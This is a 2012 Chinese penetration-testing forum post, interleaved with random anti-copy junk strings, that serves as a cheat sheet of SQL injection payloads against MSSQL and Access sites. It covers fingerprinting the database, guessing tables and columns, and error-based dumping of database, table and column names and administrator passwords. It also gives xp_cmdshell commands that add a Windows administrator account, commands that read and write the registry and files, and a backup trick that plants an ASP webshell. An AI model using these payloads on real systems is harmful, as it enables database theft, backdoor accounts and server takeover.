中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入
# j. N9 p; f; [;and 1=1
' o$ N! i( \) B;and 1=2
- @5 m& X2 F, F* z4 Z3 v
6 a; k4 H/ I8 M6 n1 T0 `2.初步判断是否是mssql
+ l& y+ S1 o6 Y/ W$ T- s;and user>0
) b% l" N- \9 A9 m% m$ c# o& v" m' b9 q
3.判断数据库系统
( ?2 b* S+ u0 W;and (select count(*) from sysobjects)>0 mssql
/ ~% q8 h) A9 H* }5 C5 W;and (select count(*) from msysobjects)>0 access * m, F) M% @" t$ ?) {1 K
' ]$ d: S5 r+ c+ Q5 k* Q4 B1 L
4.注入参数是字符
8 B% P5 J$ e/ }, g7 m'and [查询条件] and ''=' " A, \) |6 s- C. d/ y5 D4 a
+ x* ?' U* M2 l' J5 Z  r4 y4 o: m7 z
5.搜索时没过滤参数的
7 N8 C0 F( Z3 S7 [7 F'and [查询条件] and '%25'=' - [8 u3 H4 |' I, u" n

" `- \% G' P, z6 ]$ ?6.猜数表名 ; H  i+ s2 E+ e1 v; N+ Z
;and (select Count(*) from [表名])>0
/ L% M# p+ K) f$ j1 Q" f3 s
0 q1 y/ y, W6 n0 ^6 k9 @7.猜字段
1 V! D+ X7 V2 n1 K;and (select Count(字段名) from 表名)>0
3 N+ i* k2 j% n5 E" f. k8 y/ X+ v# O) A. E
8.猜字段中记录长度 7 M* C1 r8 G7 V( @  v) J, C
;and (select top 1 len(字段名) from 表名)>0
: z) C2 Y$ }7 K6 l4 o; B# ^& \, o
* S+ K4 r. n' ]* L0 o8 }9.(1)猜字段的ascii值(access)
# @8 [* k- e$ q1 w5 f( h. K' S1 F;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 2 F& N1 V8 |4 [5 o  P6 b1 G
+ I& i0 L9 W5 g5 y# s9 W: J5 h7 b7 F
(2)猜字段的ascii值(mssql)
$ `- H, t5 C. {, ?; A;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
' \! J# D' d5 Y+ x0 T) O* b! W$ v5 C
3 `" r6 A( \% C% r10.测试权限结构(mssql) & ~; r+ R% U7 z! s0 Y- h1 p, k
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
" T" a2 N5 ?8 z3 b7 S, s8 |" Z;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
; ~2 Y! [/ X6 O! n;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 8 ~# C/ M2 Z; K! b- N( ?
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- , s# J, L" H" A% E8 k0 F' @  u# F
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
. l) p9 V& o* A0 V/ X' c: h7 A$ s0 f;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
+ m3 |/ O5 U- [;and 1=(select IS_MEMBER('db_owner'));--
& w% |' K0 P9 D5 x
! t* j' r( k7 Z3 |' j0 s. e5 L11.添加mssql和系统的帐户
3 y- h* Q. ?; j  f;exec master.dbo.sp_addlogin username;-- & j# n, K, Q# a$ X( J8 A
;exec master.dbo.sp_password null,username,password;--
7 M+ E& j. [5 j# O; i& G8 r  f;exec master.dbo.sp_addsrvrolemember sysadmin username;--
( \- \9 I! |( B, S7 f3 c5 y;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 O" a' o5 }6 d1 g# W! C
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ' `2 ]" F; M* @4 O
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
! x& A! U$ W( H. ?& M
8 _9 F; Y7 @9 ?1 C' m8 D8 J12.(1)遍历目录
& m" x' }- s5 {;create table dirs(paths varchar(100), id int)
+ s3 P8 U0 T& ~. j;insert dirs exec master.dbo.xp_dirtree 'c:\' 5 W5 q2 i: F+ {! _: o, q- m
;and (select top 1 paths from dirs)>0
& W3 }# {  m- a* l: y' k;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) . v; L9 C' }# v# n2 w* C
' u; U* s4 N" H
(2)遍历目录
5 E9 U& A& @* t$ E+ w  Z$ P;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5 J2 z" l, @% K0 I9 a
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 q1 S& l: ~9 E6 W# T9 ?2 p6 h
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ( Q+ ?5 Y; y/ L! S% n1 f
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
) R. g* ?+ M+ `1 f;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容   R( G' F. B) L. p" ^* a  e
# S+ |- b4 V* [* z
13.mssql中的存储过程 * w$ s" G8 ^' f9 s( n0 Z+ @
xp_regenumvalues 注册表根键, 子键 0 q! H4 Y: J5 A2 {: f. q1 L
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ' Q9 _, R+ ~% q' n0 h& F
xp_regread 根键,子键,键值名
3 D" C" }$ y2 G$ _& f;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 }* o8 p: d# j; x. F7 D! j
xp_regwrite 根键,子键, 值名, 值类型, 值
0 x' S. `$ ^: X- F# h& C, |值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1 _: Y% e$ u2 @$ b& g
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 / T, |( s' O2 S5 I8 i4 f  X
xp_regdeletevalue 根键,子键,值名
! [. K7 Z  G, R2 L. Qexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
7 I% B8 f' f* Hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
$ ~6 w2 O% _" k% c% Z, M% d' W  O9 ?. O! Y0 d
14.mssql的backup创建webshell - h$ i: B) B" ^# V. h! h
use model
, K- @( p8 g2 I$ _1 H6 }create table cmd(str image); ; H% m- X& A& f1 L/ p) C
insert into cmd(str) values ('<% Dim oScript %>');
, b7 }" c* Y. ybackup database model to disk='c:\l.asp'; 5 H: r1 e" V! X# m- f! ^. y

/ R9 N4 c* z/ I' H8 p15.mssql内置函数   y  \7 M' T$ E: P8 N% M6 d7 T  c5 S
;and (select @@version)>0 获得Windows的版本号 3 B- x- y9 K/ L2 u- }" |
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
; `, K6 h0 d; g3 `' B" O;and (select user_name())>0 爆当前系统的连接用户 . ~% O- _' @- ]7 s
;and (select db_name())>0 得到当前连接的数据库
- G3 ~4 L2 t! F* a5 E
2 m% O1 y& C2 n0 Q1 o
* P' q* B- n: g/ |$ w8 ]# B, C% m3 F1 a# i& l
MSSQL手注暴库
" w7 a7 Z' g$ D/ d+ s3 n. U! i/ i1 A' [2 V: m2 S6 e' q7 e
1.暴出当前表名和列名4 ^% H% y8 q, V7 m8 o+ e  D
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
: _( [8 n! l$ s; L/ B0 s, R* W% A5 \2 U
第一.爆出所有数据库名
5 ^* }7 y5 s; {; C* g7 _利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
0 k$ R  s$ {8 [8 a2 t4 N& ^. G第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。$ U5 i' T) v8 P" D# I! D

' i$ E% D3 R* t. }/ M( [and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
. k% C& l5 }  ?$ |( O# @- v% s, _3 d# q# E$ b9 `
1 D$ E/ I3 ~4 z% H( v% j
第二.爆出指定库中的所有表名
7 X, |) s7 {$ V! a8 {得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。6 K4 e3 B4 }% ?" R
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。4 Y2 W4 I, Y/ {: D  X: d- b
. a) A, d& g6 `2 Y/ {
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
- n% e' d3 \! C5 o$ ^8 ?  i& p- vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--7 G- z/ |' x. f( l4 k) h' t8 ^
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
  [! M- }9 e% J- H
2 U5 F4 F4 n6 ]4.爆出指定表中的所有列名7 F8 q' g* w. u2 q
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
% R. L5 O9 \% t" }//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'& ?( _! c8 L7 Q, p" u- `8 h4 |
3 \/ p6 j; n. I" q; \
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
6 t* G3 w/ v7 G2 |" A3 g4 h) y% e+ e) b& {/ t+ r9 c5 ^
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 6 h0 d; o- W5 N& u
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。1 U5 |$ Z/ y. \3 O

2 H8 k# Z8 e" S/ Y8 I0 l0 ]6 f" D0 S- B
8 t; ^) _3 z/ Q( k* Uand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
( s1 j. @5 t9 T; y
+ V( @$ c- `7 `* t7 k% K( nand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名5 E! i# f4 Z  x# g
2 Z* X& \: o* d9 I' h1 m
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ) y& b# X) \8 |/ O9 L  u

1 `) K; g" y6 d/ ~0 O4 g( p1 b: i
9 F, d& [0 q: {# v$ m; g
4 Y2 N) A/ _5 X$ r" e3 n6 z5.读取指定表中的数据* ?: Y: a/ f$ L- q1 N) O
1 f0 D3 K1 s* S' m1 C  ?- P7 S
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 : M: K  O0 h: H
2 a; i1 o8 |- T
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--1 a. Q( h- J6 F+ F5 d+ B4 |- _# R
1 A: e8 u; c0 m  g! v6 h
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
$ H9 L& ^) b* H3 K- _- Q( h* M* L  k
" {0 I! b, i  ]+ j
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)" r0 G) P) U) l$ `1 N& F
; d* q2 b4 y3 l- o, b' e7 ^  O
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)9 h2 G) S% m( X0 k! i1 z  n
, Z4 f8 e( Z/ L6 f( i: P+ t
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
9 t* f, p3 ^# A5 C8 T& v7 r) I5 p2 B4 }  j$ A; k0 k) y4 H3 ]# L
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。7 D3 O0 X5 I( m: U





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2